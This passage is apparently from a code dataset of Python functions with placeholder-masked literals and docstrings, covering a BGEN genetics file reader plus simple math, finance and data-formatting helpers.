example_files(\"example.32bits.bgen\")\n        >>> filepath = example.filepath\n        >>>\n        >>> # Read the example.\n        >>> bgen = read_bgen(filepath, verbose=False)\n        >>>\n        >>> # Extract the allele expectations of the fourth variant.\n        >>> variant_idx = 3\n        >>> e = allele_expectation(bgen, variant_idx)\n        >>>\n        >>> # Compute the dosage when considering the first allele\n        >>> # as the reference/alternative one.\n        >>> alt_allele_idx = 1\n        >>> d = compute_dosage(e, alt=alt_allele_idx)\n        >>>\n        >>> # Print the dosage of the first five samples only.\n        >>> print(d[:5])\n        [1.96185308 0.00982666 0.01745552 1.00347899 1.01153563]\n        >>>\n        >>> # Clean-up the example\n        >>> example.close()\n\n    .. code-block:: python\n        :caption: Genotype probabilities, allele expectations and frequencies.\n\n        >>> from bgen_reader import (\n        ...     allele_expectation,\n        ...     allele_frequency,\n        ...     compute_dosage,\n        ...     example_files,\n        ...     read_bgen,\n        ... )\n        >>> from pandas import DataFrame\n        >>> from xarray import DataArray\n        >>>\n        >>> # Download an example\n        >>> example = example_files(\"example.32bits.bgen\")\n        >>> filepath = example.filepath\n        >>>\n        >>> # Open the bgen file.\n        >>> bgen = read_bgen(filepath, verbose=False)\n        >>> variants = bgen[\"variants\"]\n        >>> genotype = bgen[\"genotype\"]\n        >>> samples = bgen[\"samples\"]\n        >>>\n        >>> variant_idx = 3\n        >>> variant = variants.loc[variant_idx].compute()\n        >>> # Print the metadata of the fourth variant.\n        >>> print(variant)\n                id    rsid chrom   pos  nalleles allele_ids  vaddr\n        3  SNPID_5  RSID_5    01  5000         2        A,G  16034\n\n        >>> geno = bgen[\"genotype\"][variant_idx].compute()\n        >>> metageno = DataFrame({k: geno[k] for k in [\"ploidy\", \"missing\"]},\n        ...                      index=samples)\n        >>> metageno.index.name = \"sample\"\n        >>> print(metageno) # doctest: +IGNORE_EXCEPTION_DETAIL, +NORMALIZE_WHITESPACE\n                    ploidy  missing\n        sample\n        sample_001       2    False\n        sample_002       2    False\n        sample_003       2    False\n        sample_004       2    False\n        ...            ...      ...\n        sample_497       2    False\n        sample_498       2    False\n        sample_499       2    False\n        sample_500       2    False\n        <BLANKLINE>\n        [500 rows x 2 columns]\n        >>> p = DataArray(\n        ...     geno[\"probs\"],\n        ...     name=\"probability\",\n        ...     coords={\"sample\": samples},\n        ...     dims=[\"sample\", \"genotype\"],\n        ... )\n        >>> # Print the genotype probabilities.\n        >>> print(p.to_series().unstack(level=-1)) # doctest: +IGNORE_EXCEPTION_DETAIL, +NORMALIZE_WHITESPACE\n        genotype          0        1        2\n        sample\n        sample_001  0.00488  0.02838  0.96674\n        sample_002  0.99045  0.00928  0.00027\n        sample_003  0.98932  0.00391  0.00677\n        sample_004  0.00662  0.98328  0.01010\n        ...             ...      ...      ...\n        sample_497  0.00137  0.01312  0.98550\n        sample_498  0.00552  0.99423  0.00024\n        sample_499  0.01266  0.01154  0.97580\n        sample_500  0.00021  0.98431  0.01547\n        <BLANKLINE>\n        [500 rows x 3 columns]\n        >>> alleles = variant[\"allele_ids\"].item().split(\",\")\n        >>> e = DataArray(\n        ...     allele_expectation(bgen, variant_idx),\n        ...     name=\"expectation\",\n        ...     coords={\"sample\": samples, \"allele\": alleles},\n        ...     dims=[\"sample\", \"allele\"],\n        ... )\n        >>> # Print the allele expectations.\n        >>> print(e.to_series().unstack(level=-1)) # doctest: +IGNORE_EXCEPTION_DETAIL, +NORMALIZE_WHITESPACE\n        allele            A        G\n        sample\n        sample_001  0.03815  1.96185\n        sample_002  1.99017  0.00983\n        sample_003  1.98254  0.01746\n        sample_004  0.99652  1.00348\n        ...             ...      ...\n        sample_497  0.01587  1.98413\n        sample_498  1.00528  0.99472\n        sample_499  0.03687  1.96313\n        sample_500  0.98474  1.01526\n        <BLANKLINE>\n        [500 rows x 2 columns]\n        >>> rsid = variant[\"rsid\"].item()\n        >>> chrom = variant[\"chrom\"].item()\n        >>> variant_name = f\"{chrom}:{rsid}\"\n        >>> f = DataFrame(allele_frequency(e), columns=[variant_name], index=alleles)\n        >>> f.index.name = \"allele\"\n        >>> # Allele frequencies.\n        >>> print(f) # doctest: +IGNORE_EXCEPTION_DETAIL, +NORMALIZE_WHITESPACE\n                01:RSID_5\n        allele\n        A       305.97218\n        G       194.02782\n        >>> alt = f.idxmin().item()\n        >>> alt_idx = alleles.index(alt)\n        >>> d = compute_dosage(e, alt=alt_idx).to_series()\n        >>> d = DataFrame(d.values, columns=[f\"alt={alt}\"], index=d.index)\n        >>> # Dosages when considering G as the alternative allele.\n        >>> print(d) # doctest: +IGNORE_EXCEPTION_DETAIL, +NORMALIZE_WHITESPACE\n                      alt=G\n        sample\n        sample_001  1.96185\n        sample_002  0.00983\n        sample_003  0.01746\n        sample_004  1.00348\n        ...             ...\n        sample_497  1.98413\n        sample_498  0.99472\n        sample_499  1.96313\n        sample_500  1.01526\n        <BLANKLINE>\n        [500 rows x 1 columns]\n        >>>\n        >>> # Clean-up the example\n        >>> example.close()", "id": "f1519:m1"}
{"signature": "def allele_expectation(bgen, variant_idx):", "body": "geno = bgen[\"<STR_LIT>\"][variant_idx].compute()<EOL>if geno[\"<STR_LIT>\"]:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>nalleles = bgen[\"<STR_LIT>\"].loc[variant_idx, \"<STR_LIT>\"].compute().item()<EOL>genotypes = get_genotypes(geno[\"<STR_LIT>\"], nalleles)<EOL>expec = []<EOL>for i in range(len(genotypes)):<EOL><INDENT>count = asarray(genotypes_to_allele_counts(genotypes[i]), float)<EOL>n = count.shape[<NUM_LIT:0>]<EOL>expec.append((count.T * geno[\"<STR_LIT>\"][i, :n]).sum(<NUM_LIT:1>))<EOL><DEDENT>return stack(expec, axis=<NUM_LIT:0>)<EOL>", "docstring": "r\"\"\" Allele expectation.\n\n    Compute the expectation of each allele from the genotype probabilities.\n\n    Parameters\n    ----------\n    bgen : bgen_file\n        Bgen file handler.\n    variant_idx : int\n        Variant index.\n\n    Returns\n    -------\n    :class:`numpy.ndarray`\n        Samples-by-alleles matrix of allele expectations.\n\n    Note\n    ----\n    This function supports unphased genotypes only.\n\n    Examples\n    --------\n    .. doctest::\n\n        >>> from bgen_reader import allele_expectation, example_files, read_bgen\n        >>>\n        >>> from texttable import Texttable\n        >>>\n        >>> # Download an example.\n        >>> example = example_files(\"example.32bits.bgen\")\n        >>> filepath = example.filepath\n        >>>\n        >>> # Read the example.\n        >>> bgen = read_bgen(filepath, verbose=False)\n        >>>\n        >>> variants = bgen[\"variants\"]\n        >>> samples = bgen[\"samples\"]\n        >>> genotype = bgen[\"genotype\"]\n        >>>\n        >>> genotype = bgen[\"genotype\"]\n        >>> # This `compute` call will return a pandas data frame,\n        >>> variant = variants[variants[\"rsid\"] == \"RSID_6\"].compute()\n        >>> # from which we retrieve the variant index.\n        >>> variant_idx = variant.index.item()\n        >>> print(variant)\n                id    rsid chrom   pos  nalleles allele_ids  vaddr\n        4  SNPID_6  RSID_6    01  6000         2        A,G  19377\n        >>> genotype = bgen[\"genotype\"]\n        >>> # Samples is a pandas series, and we retrieve the\n        >>> # sample index from the sample name.\n        >>> sample_idx = samples[samples == \"sample_005\"].index.item()\n        >>>\n        >>> genotype = bgen[\"genotype\"]\n        >>> # This `compute` call will return a dictionary from which\n        >>> # we can get the probability matrix the corresponding\n        >>> # variant.\n        >>> p = genotype[variant_idx].compute()[\"probs\"][sample_idx]\n        >>>\n        >>> genotype = bgen[\"genotype\"]\n        >>> # Allele expectation makes sense for unphased genotypes only,\n        >>> # which is the case here.\n        >>> e = allele_expectation(bgen, variant_idx)[sample_idx]\n        >>>\n        >>> genotype = bgen[\"genotype\"]\n        >>> alleles = variant[\"allele_ids\"].item().split(\",\")\n        >>>\n        >>> genotype = bgen[\"genotype\"]\n        >>>\n        >>> # Print what we have got in a nice format.\n        >>> table = Texttable()\n        >>> table = table.add_rows(\n        ...     [\n        ...         [\"\", \"AA\", \"AG\", \"GG\", \"E[.]\"],\n        ...         [\"p\"] + list(p) + [\"na\"],\n        ...         [\"#\" + alleles[0], 2, 1, 0, e[0]],\n        ...         [\"#\" + alleles[1], 0, 1, 2, e[1]],\n        ...     ]\n        ... )\n        >>> print(table.draw())\n        +----+-------+-------+-------+-------+\n        |    |  AA   |  AG   |  GG   | E[.]  |\n        +====+=======+=======+=======+=======+\n        | p  | 0.012 | 0.987 | 0.001 | na    |\n        +----+-------+-------+-------+-------+\n        | #A | 2     | 1     | 0     | 1.011 |\n        +----+-------+-------+-------+-------+\n        | #G | 0     | 1     | 2     | 0.989 |\n        +----+-------+-------+-------+-------+\n        >>>\n        >>> # Clean-up.\n        >>> example.close()", "id": "f1519:m2"}
{"signature": "def read_bgen(filepath, metafile_filepath=None, samples_filepath=None, verbose=True):", "body": "assert_file_exist(filepath)<EOL>assert_file_readable(filepath)<EOL>metafile_filepath = _get_valid_metafile_filepath(filepath, metafile_filepath)<EOL>if not os.path.exists(metafile_filepath):<EOL><INDENT>if verbose:<EOL><INDENT>print(<EOL>f\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>create_metafile(filepath, metafile_filepath, verbose)<EOL><DEDENT>samples = get_samples(filepath, samples_filepath, verbose)<EOL>variants = map_metadata(filepath, metafile_filepath)<EOL>genotype = map_genotype(filepath, metafile_filepath, verbose)<EOL>return dict(variants=variants, samples=samples, genotype=genotype)<EOL>", "docstring": "r\"\"\" Read a given BGEN file.\n\n    Parameters\n    ----------\n    filepath : str\n        A bgen file path.\n    metafile_filepath : str, optional\n        If ``None``, it will try to read the ``filepath + \".metadata\"`` file. If this is\n        not possible, it will create one. It tries to create one at\n        ``filepath + \".metadata\"``. If that is also no possible, it tries to create one\n        at a temporary folder.\n    samples_filepath : str, optional\n        A sample file in `gen format <https://goo.gl/bCzo7m>`_.\n        If ``samples_filepath`` is provided, sample ids are read from this file.\n        Otherwise, it reads from the bgen file itself if possible. Defaults to ``None``.\n    verbose : bool, optional\n        ``True`` to show progress; ``False`` otherwise. Defaults to ``True``.\n\n    Returns\n    -------\n    variants : :class:`dask.dataFrame.DataFrame`\n        Variant position, chromosomes, rsids, etc.\n    samples : :class:`pandas.Series`\n        Sample identifications.\n    genotype : list\n        List of genotypes.\n\n    Examples\n    --------\n    .. doctest::\n\n        >>> from bgen_reader import example_files, read_bgen\n        >>>\n        >>> with example_files(\"haplotypes.bgen\") as filepath:\n        ...     bgen = read_bgen(filepath, verbose=False)\n        ...     variants = bgen[\"variants\"]\n        ...     samples = bgen[\"samples\"]\n        ...\n        ...     v = variants.loc[0].compute()\n        ...     g = bgen[\"genotype\"][0].compute()\n        ...     print(v)\n        ...     print(samples)\n        ...     print(g[\"probs\"][0])\n             id rsid chrom  pos  nalleles allele_ids  vaddr\n        0  SNP1  RS1     1    1         2        A,G    102\n        0    sample_0\n        1    sample_1\n        2    sample_2\n        3    sample_3\n        Name: id, dtype: object\n        [1. 0. 1. 0.]", "id": "f1520:m0"}
{"signature": "def _touch(fname, mode=<NUM_LIT>, dir_fd=None, **kwargs):", "body": "flags = os.O_CREAT | os.O_APPEND<EOL>with os.fdopen(os.open(fname, flags=flags, mode=mode, dir_fd=dir_fd)) as f:<EOL><INDENT>os.utime(<EOL>f.fileno() if os.utime in os.supports_fd else fname,<EOL>dir_fd=None if os.supports_fd else dir_fd,<EOL>**kwargs,<EOL>)<EOL><DEDENT>", "docstring": "Touch a file.\n\n    Credits to <https://stackoverflow.com/a/1160227>.", "id": "f1521:m4"}
{"signature": "def create_metafile(bgen_filepath, metafile_filepath, verbose=True):", "body": "if verbose:<EOL><INDENT>verbose = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>verbose = <NUM_LIT:0><EOL><DEDENT>bgen_filepath = make_sure_bytes(bgen_filepath)<EOL>metafile_filepath = make_sure_bytes(metafile_filepath)<EOL>assert_file_exist(bgen_filepath)<EOL>assert_file_readable(bgen_filepath)<EOL>if exists(metafile_filepath):<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>with bgen_file(bgen_filepath) as bgen:<EOL><INDENT>nparts = _estimate_best_npartitions(lib.bgen_nvariants(bgen))<EOL>metafile = lib.bgen_create_metafile(bgen, metafile_filepath, nparts, verbose)<EOL>if metafile == ffi.NULL:<EOL><INDENT>raise RuntimeError(f\"<STR_LIT>\")<EOL><DEDENT>if lib.bgen_close_metafile(metafile) != <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(f\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"Create variants metadata file.\n\n    Variants metadata file helps speed up subsequent reads of the associated\n    bgen file.\n\n    Parameters\n    ----------\n    bgen_filepath : str\n        Bgen file path.\n    metafile_file : str\n        Metafile file path.\n    verbose : bool\n        ``True`` to show progress; ``False`` otherwise.\n\n    Examples\n    --------\n    .. doctest::\n\n        >>> import os\n        >>> from bgen_reader import create_metafile, example_files\n        >>>\n        >>> with example_files(\"example.32bits.bgen\") as filepath:\n        ...     folder = os.path.dirname(filepath)\n        ...     metafile_filepath = os.path.join(folder, filepath + \".metadata\")\n        ...\n        ...     try:\n        ...         create_metafile(filepath, metafile_filepath, verbose=False)\n        ...     finally:\n        ...         if os.path.exists(metafile_filepath):\n        ...             os.remove(metafile_filepath)", "id": "f1529:m0"}
{"signature": "def bits_arch():", "body": "return struct.calcsize(\"<STR_LIT:P>\") * <NUM_LIT:8><EOL>", "docstring": "Determines the number of bits of the Python process.\n\n        Return ``32`` or ``64``.", "id": "f1538:m0"}
{"signature": "def find_libname(self, name):", "body": "names = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>names = [n.format(name) for n in names]<EOL>dirs = self.get_library_dirs()<EOL>for d in dirs:<EOL><INDENT>for n in names:<EOL><INDENT>if exists(join(d, n)):<EOL><INDENT>return n[:-<NUM_LIT:4>]<EOL><DEDENT><DEDENT><DEDENT>msg = \"<STR_LIT>\".format(name)<EOL>raise ValueError(msg)<EOL>", "docstring": "Try to infer the correct library name.", "id": "f1538:c1:m5"}
{"signature": "def miles_to_feet(miles):", "body": "return miles * float(<NUM_LIT>)<EOL>", "docstring": "Converts a number of miles to feet.\n\nArgs:\n    miles: Number of miles we want to convert.\n\nReturns:\n    Floating point number as the number of\n    feet in the given miles.", "id": "f1541:m0"}
{"signature": "def total_seconds(hours, minutes, seconds):", "body": "return (hours * <NUM_LIT> + minutes) * <NUM_LIT> + seconds<EOL>", "docstring": "Returns the number of seconds in the given number of hours,\nminutes, and seconds.\n\nArgs:\n    hours:\n        Integer, number of hours.\n\n    minutes:\n        Integer, number of minutes.\n\n    seconds:\n        Integer, number of seconds.\n\nReturns:\n    Integer, time in seconds.", "id": "f1541:m1"}
{"signature": "def rectangle_perimeter(width, height):", "body": "return width * <NUM_LIT:2> + height * <NUM_LIT:2><EOL>", "docstring": "Returns the perimeter of a rectangle with the given width and height.\n\nArgs:\n    width:\n        Integer or float, width of the rectangle.\n\n    height:\n        Integer or float, height of the rectangle.\n\nReturns:\n    Integer or float, perimeter of a rectangle.", "id": "f1541:m2"}
{"signature": "def rectangle_area(width, height):", "body": "return width * height<EOL>", "docstring": "Returns the area of a rectangle with the given width and height.\n\n    Args:\n        width:\n            Integer or float, width of the rectangle.\n\n        height: Integer or float, height of the rectangle.\n\n    Returns:\n        The area of a rectangle as an integer or float.", "id": "f1541:m3"}
{"signature": "def circle_circumference(radius):", "body": "return radius * <NUM_LIT:2> * math.pi<EOL>", "docstring": "Returns the circumference of a circle.\n\nArgs:\n    radius: The radius of a circle.\n\nReturns:\n    Integer > circumference of a circle.\n\nRequires:\n    The math module.", "id": "f1541:m4"}
{"signature": "def circle_area(radius):", "body": "return math.pi * radius ** <NUM_LIT:2><EOL>", "docstring": "Returns the area of a circle.\n\nArgs:\n    radius: The radius of a circle.\n\nReturns:\n    The area of a circle as an integer.\n\nRequires:\n    The math module.", "id": "f1541:m5"}
{"signature": "def compound_interest(principal, annual_rate, years):", "body": "return principal * (<NUM_LIT:1> + <NUM_LIT> * annual_rate) ** years<EOL>", "docstring": "Returns the future value of money invested at an annual\ninterest rate, compounded annually for a given number of years.\n\nArgs:\n    principal: The beginning ammount of money invested\n\n    annual_rate: The interest rate paid out\n\n    years: The number of years invested\n\nReturns:\n    A basic calculation of compound interest.", "id": "f1541:m6"}
{"signature": "def future_value(present_value, annual_rate, periods_per_year, years):", "body": "<EOL>rate_per_period = annual_rate / float(periods_per_year)<EOL>periods = periods_per_year * years<EOL>return present_value * (<NUM_LIT:1> + rate_per_period) ** periods<EOL>", "docstring": "Calculates the future value of money invested at an anual interest rate,\nx times per year, for a given number of years.\n\nArgs:\n    present_value: int or float, the current value of the money (principal).\n\n    annual_rate: float 0 to 1 e.g., .5 = 50%), the interest rate paid out.\n\n    periods_per_year: int, the number of times money is invested per year.\n\n    years: int, the number of years invested.\n\nReturns:\n    Float, the future value of the money invested with compound interest.", "id": "f1541:m7"}
{"signature": "def point_distance(point1, point2):", "body": "return ((point1[<NUM_LIT:0>] - point2[<NUM_LIT:0>]) ** <NUM_LIT:2> + (point1[<NUM_LIT:1>] - point2[<NUM_LIT:1>]) ** <NUM_LIT:2>) ** <NUM_LIT:0.5><EOL>", "docstring": "Computes the distance beteen two points on a plane.\n\nArgs:\n    point1: Tuple or list, the x and y coordinate of the first point.\n\n    point2: Tuple or list, the x and y coordinate of the second point.\n\nReturns:\n    The distance between the two points as a floating point number.", "id": "f1541:m8"}
{"signature": "def triangle_area(point1, point2, point3):", "body": "\"\"\"<STR_LIT>\"\"\"<EOL>a = point_distance(point1, point2)<EOL>b = point_distance(point1, point3)<EOL>c = point_distance(point2, point3)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>s = (a + b + c) / <NUM_LIT><EOL>\"\"\"<STR_LIT>\"\"\"<EOL>return math.sqrt(s * (s - a) * (s - b) * (s - c))<EOL>", "docstring": "Uses Heron's formula to find the area of a triangle\nbased on the coordinates of three points.\n\nArgs:\n    point1: list or tuple, the x y coordinate of point one.\n\n    point2: list or tuple, the x y coordinate of point two.\n\n    point3: list or tuple, the x y coordinate of point three.\n\nReturns:\n    The area of a triangle as a floating point number.\n\nRequires:\n    The math module, point_distance().", "id": "f1541:m9"}
{"signature": "def is_leap_year(year):", "body": "if (year % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>elif (year % <NUM_LIT:100>) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>elif (year % <NUM_LIT:4>) == <NUM_LIT:0>:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks to see if a given year is a leap year.\n\nArgs:\n    Integer, the year to test.\n\nReturns:\n    Boolean", "id": "f1541:m10"}
{"signature": "def regular_polygon_area(number_of_sides, length_of_sides):", "body": "return (<NUM_LIT> * number_of_sides * length_of_sides ** <NUM_LIT:2>) / math.tan(<EOL>math.pi / number_of_sides<EOL>)<EOL>", "docstring": "Calculates the area of a regular polygon (with sides of equal length).\n\nArgs:\n    number_of_sides: Integer, the number of sides of the polygon\n\n    length_of_sides: Integer or floating point number, the length of the sides\n\nReturns:\n    The area of a regular polygon as an integer or floating point number\n\nRequires:\n    The math module", "id": "f1541:m11"}
{"signature": "def median(data):", "body": "ordered = sorted(data)<EOL>length = len(ordered)<EOL>if length % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>return (<EOL>ordered[math.floor(length / <NUM_LIT:2>) - <NUM_LIT:1>] + ordered[math.floor(length / <NUM_LIT:2>)]<EOL>) / <NUM_LIT><EOL><DEDENT>elif length % <NUM_LIT:2> != <NUM_LIT:0>:<EOL><INDENT>return ordered[math.floor(length / <NUM_LIT:2>)]<EOL><DEDENT>", "docstring": "Calculates  the median of a list of integers or floating point numbers.\n\nArgs:\n    data: A list of integers or floating point numbers\n\nReturns:\n    Sorts the list numerically and returns the middle number if the list has an odd number\n    of items. If the list contains an even number of items the mean of the two middle numbers\n    is returned.", "id": "f1541:m12"}
{"signature": "def average(numbers, numtype='<STR_LIT:float>'):", "body": "if type == '<STR_LIT>':<EOL><INDENT>return Decimal(sum(numbers)) / len(numbers)<EOL><DEDENT>else:<EOL><INDENT>return float(sum(numbers)) / len(numbers)<EOL><DEDENT>", "docstring": "Calculates the average or mean of a list of numbers\n\nArgs:\n    numbers: a list of integers or floating point numbers.\n\n    numtype: string, 'decimal' or 'float'; the type of number to return.\n\nReturns:\n    The average (mean) of the numbers as a floating point number\n    or a Decimal object.\n\nRequires:\n    The math module", "id": "f1541:m13"}
{"signature": "def variance(numbers, type='<STR_LIT>'):", "body": "mean = average(numbers)<EOL>variance = <NUM_LIT:0><EOL>for number in numbers:<EOL><INDENT>variance += (mean - number) ** <NUM_LIT:2><EOL><DEDENT>if type == '<STR_LIT>':<EOL><INDENT>return variance / len(numbers)<EOL><DEDENT>else:<EOL><INDENT>return variance / (len(numbers) - <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Calculates the population or sample variance of a list of numbers.\nA large number means the results are all over the place, while a\nsmall number means the results are comparatively close to the average.\n\nArgs:\n    numbers: a list  of integers or floating point numbers to compare.\n\n    type: string, 'population' or 'sample', the kind of variance to be computed.\n\nReturns:\n    The computed population or sample variance.\n    Defaults to population variance.\n\nRequires:\n    The math module, average()", "id": "f1541:m14"}
{"signature": "def standard_deviation(variance):", "body": "return variance ** <NUM_LIT:0.5><EOL>", "docstring": "Calculates the standard deviation.\n\nArgs:\n    variance: The variance of a group of numbers.\n\nReturns:\n    The standard deviation as a floating point number.", "id": "f1541:m15"}
{"signature": "def get_percentage(a, b, i=False, r=False):", "body": "<EOL>if i is False and r is True:<EOL><INDENT>percentage = round(<NUM_LIT> * (float(a) / b), <NUM_LIT:2>)<EOL><DEDENT>elif (i is True and r is True) or (i is True and r is False):<EOL><INDENT>percentage = int(round(<NUM_LIT:100> * (float(a) / b)))<EOL>if r is False:<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>percentage = <NUM_LIT> * (float(a) / b)<EOL><DEDENT>return percentage<EOL>", "docstring": "Finds the percentage of one number over another.\n\nArgs:\n    a: The number that is a percent, int or float.\n\n    b: The base number that a is a percent of, int or float.\n\n    i: Optional boolean integer. True if the user wants the result returned as\n    a whole number. Assumes False.\n\n    r: Optional boolean round. True if the user wants the result rounded.\n    Rounds to the second decimal point on floating point numbers. Assumes False.\n\nReturns:\n    The argument a as a percentage of b. Throws a warning if integer is set to True\n    and round is set to False.", "id": "f1541:m16"}
{"signature": "def get_slope(point1, point2):", "body": "return (float(point2[<NUM_LIT:1>]) - point1[<NUM_LIT:1>]) / (float(point2[<NUM_LIT:0>]) - point1[<NUM_LIT:0>])<EOL>", "docstring": "Calculate the slope of the line connecting two points on a grid.\n\nArgs:\n    point1: Tuple or list, the x and y coordinate of the first point.\n\n    point2: Tuple or list, the x and y coordinate of the second point\n\nReturns:\n    the slope of a line connecting two points on a grid.", "id": "f1541:m17"}
{"signature": "def get_full_binary_tree_leaves(height):", "body": "return <NUM_LIT:2> ** height<EOL>", "docstring": "Calculate the number of leaves in a complete binary tree in which each internal\nnode has exactly two children. A full binary tree is complete if every leaf\nin the tree has the same depth. A leaf is a node without children\n\nArgs:\n    height: integer, the height of the tree. Height is defined by the number\n    of edges from the furthest child to the root. An edge is the line segment\n    that runs between and connects nodes.", "id": "f1541:m18"}
{"signature": "def get_full_binary_tree_nodes(height):", "body": "return <NUM_LIT:2> ** (height + <NUM_LIT:1>) - <NUM_LIT:1><EOL>", "docstring": "Calculate the number of internal nodes in a complete binary tree in which each\ninternal node has exactly two children. A full binary tree is complete if every\nleaf in the tree has the same depth. Internal nodes include both leaves and\ninternal nodes. The root node is also included in this calculation.\n\nArgs:\n    height: integer, the height of the tree. Height is defined by the number\n    of edges from the furthest child to the root. An edge is the line segment\n    that runs between and connects nodes.", "id": "f1541:m19"}
{"signature": "def take_home_pay(gross_pay, employer_match, taxes_and_fees, numtype='<STR_LIT:float>'):", "body": "if numtype == '<STR_LIT>':<EOL><INDENT>return (Decimal(gross_pay) + Decimal(employer_match)) - Decimal(<EOL>sum(taxes_and_fees)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return (float(gross_pay) + float(employer_match)) - sum(taxes_and_fees)<EOL><DEDENT>", "docstring": "Calculate net take-home pay including employer retirement savings match\nusing the formula laid out by Mr. Money Mustache:\nhttp://www.mrmoneymustache.com/2015/01/26/calculating-net-worth/\n\nArgs:\n    gross_pay: float or int, gross monthly pay.\n\n    employer_match: float or int, the 401(k) match from your employer.\n\n    taxes_and_fees: list, taxes and fees that are deducted from your paycheck.\n\n    numtype: string, 'decimal' or 'float'; the type of number to return.\n\nReturns:\n    your monthly take-home pay.", "id": "f1541:m20"}
{"signature": "def savings_rate(take_home_pay, spending, numtype='<STR_LIT:float>'):", "body": "if numtype == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>return (<EOL>(Decimal(take_home_pay) - Decimal(spending)) / (Decimal(take_home_pay))<EOL>) * Decimal(<NUM_LIT>)<EOL><DEDENT>except (InvalidOperation, DivisionByZero):<EOL><INDENT>return Decimal(<NUM_LIT:0.0>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return (<EOL>(float(take_home_pay) - float(spending)) / (float(take_home_pay))<EOL>) * <NUM_LIT><EOL><DEDENT>except (ZeroDivisionError):<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT><DEDENT>", "docstring": "Calculate net take-home pay including employer retirement savings match\nusing the formula laid out by Mr. Money Mustache:\nhttp://www.mrmoneymustache.com/2015/01/26/calculating-net-worth/\n\nArgs:\n    take_home_pay: float or int, monthly take-home pay\n\n    spending: float or int, monthly spending\n\n    numtype: string, 'decimal' or 'float'; the type of number to return.\n\nReturns:\n    your monthly savings rate expressed as a percentage.", "id": "f1541:m21"}
{"signature": "def foo(a):", "body": "assert a < <NUM_LIT:0><EOL>", "docstring": "Meaningless...", "id": "f1544:m0"}
{"signature": "def __init__(self):", "body": "self.data_structure = '<STR_LIT>'<EOL>self.built_in = set(['<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Initialize the object.", "id": "f1547:c0:m0"}
{"signature": "def __str__(self):", "body": "return self.data_structure<EOL>", "docstring": "String representation of the class.", "id": "f1547:c0:m1"}
{"signature": "def is_built_in(self, language):", "body": "return language in self.built_in<EOL>", "docstring": "Tests to see if a language is a built in type\nsupported by python.\n\nArgs:\n    language: string, language to test for.\n\nReturns: \n    boolean", "id": "f1547:c0:m2"}
{"signature": "def get_built_in(self, language, level, data):", "body": "<EOL>pp = pprint.PrettyPrinter(indent=level)<EOL>lookup = {'<STR_LIT>' : pp.pformat(data),<EOL>'<STR_LIT>' : str(json.dumps(data, sort_keys=True, indent=level, separators=('<STR_LIT:U+002C>', '<STR_LIT>')))}<EOL>self.data_structure = lookup[language]<EOL>", "docstring": "Gets the return string for a language that's supported by python.\nUsed in cases when python provides support for the conversion.\n\nArgs:\n    language: string the langage to return for.\n\n    level: integer, the indentation level.\n\n    data: python data structure being converted (list of tuples)\n\nReturns:\n    None, updates self.data_structure", "id": "f1547:c0:m3"}
{"signature": "def get_inner_template(self, language, template_type, indentation, key, val):", "body": "<EOL>inner_templates = {'<STR_LIT>' : {<EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, indentation, val, indentation),<EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, val) },<EOL>'<STR_LIT>' : {<EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, val, indentation),<EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, val)},<EOL>'<STR_LIT>' : { <EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, val, indentation),<EOL>'<STR_LIT>' : '<STR_LIT>' % (indentation, key, val)}}<EOL>return inner_templates[language][template_type]<EOL>", "docstring": "Gets the requested template for the given language.\n\nArgs:\n    language: string, the language of the template to look for.\n\n    template_type: string, 'iterable' or 'singular'. \n    An iterable template is needed when the value is an iterable\n    and needs more unpacking, e.g. list, tuple. A singular template \n    is needed when unpacking is complete and the value is singular, \n    e.g. string, int, float.\n\n    indentation: int, the indentation level.\n\n    key: multiple types, the array key.\n\n    val: multiple types, the array values\n\nReturns:\n    string, template formatting for arrays by language.", "id": "f1547:c0:m4"}
{"signature": "def translate_val(self, language, value):", "body": "return self.lang_specific_values[language][value]<EOL>", "docstring": "Translates string representations of language specific \nvalues that vary between languages. Used to translate\npython values to their counterparts in other languages.\n\nArgs:\n    language: string, the language for which to\n    return values.\n\n    value: string, the value to translate.\n\nReturns:\n    string representation of a value in a given language.", "id": "f1547:c0:m5"}
{"signature": "def is_iterable(self, data):", "body": "try:<EOL><INDENT>iterate = iter(data)<EOL>return True<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Checks to see if an object is an iterable.\n\nArgs:\n    data: a data object.\n\nReturns:\n    boolean", "id": "f1547:c0:m6"}
